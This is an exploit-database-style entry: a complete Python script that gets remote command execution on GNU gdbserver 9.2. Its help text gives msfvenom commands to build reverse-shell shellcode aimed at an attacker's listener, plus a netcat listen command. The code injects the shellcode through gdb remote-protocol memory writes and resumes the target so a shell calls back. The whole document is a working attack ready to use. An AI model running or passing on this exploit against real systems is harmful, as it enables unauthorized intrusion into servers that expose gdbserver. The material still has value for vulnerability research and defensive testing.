GNU gdbserver 9.2 - Remote Command Execution (RCE)

# Exploit Title: GNU gdbserver 9.2 - Remote Command Execution (RCE)
# Date: 2021-11-21
# Exploit Author: Roberto Gesteira Miñarro (7Rocky)
# Vendor Homepage: https://www.gnu.org/software/gdb/
# Software Link: https://www.gnu.org/software/gdb/download/
# Version: GNU gdbserver (Ubuntu 9.2-0ubuntu1~20.04) 9.2
# Tested on: Ubuntu Linux (gdbserver debugging x64 and x86 binaries)

#!/usr/bin/env python3


import binascii
import socket
import struct
import sys

help = f'''
Usage: python3 {sys.argv[0]} <gdbserver-ip:port> <path-to-shellcode>

Example:
- Victim's gdbserver   ->  10.10.10.200:1337
- Attacker's listener  ->  10.10.10.100:4444

1. Generate shellcode with msfvenom:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 PrependFork=true -o rev.bin

2. Listen with Netcat:
$ nc -nlvp 4444

3. Run the exploit:
$ python3 {sys.argv[0]} 10.10.10.200:1337 rev.bin
'''


def checksum(s: str) -> str:
    res = sum(map(ord, s)) % 256
    return f'{res:2x}'


def ack(sock):
    sock.send(b'+')


def send(sock, s: str) -> str:
    sock.send(f'${s}#{checksum(s)}'.encode())
    res = sock.recv(1024)
    ack(sock)
    return res.decode()


def exploit(sock, payload: str):
    send(sock, 'qSupported:multiprocess+;qRelocInsn+;qvCont+;')
    send(sock, '!')

    try:
        res = send(sock, 'vCont;s')
        data = res.split(';')[2]
        arch, pc = data.split(':')
    except Exception:
        print('[!] ERROR: Unexpected response. Try again later')
        exit(1)

    if arch == '10':
        print('[+] Found x64 arch')
        pc = binascii.unhexlify(pc[:pc.index('0*')])
        pc += b'\0' * (8 - len(pc))
        addr = hex(struct.unpack('<Q', pc)[0])[2:]
        addr = '0' * (16 - len(addr)) + addr
    elif arch == '08':
        print('[+] Found x86 arch')
        pc = binascii.unhexlify(pc)
        pc += b'\0' * (4 - len(pc))
        addr = hex(struct.unpack('<I', pc)[0])[2:]
        addr = '0' * (8 - len(addr)) + addr

    hex_length = hex(len(payload))[2:]

    print('[+] Sending payload')
    send(sock, f'M{addr},{hex_length}:{payload}')
    send(sock, 'vCont;c')


def main():
    if len(sys.argv) < 3:
        print(help)
        exit(1)

    ip, port = sys.argv[1].split(':')
    file = sys.argv[2]

    try:
        with open(file, 'rb') as f:
            payload = f.read().hex()
    except FileNotFoundError:
        print(f'[!] ERROR: File {file} not found')
        exit(1)

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((ip, int(port)))
        print('[+] Connected to target. Preparing exploit')
        exploit(sock, payload)
        print('[*] Pwned!! Check your listener')


if __name__ == '__main__':
    main()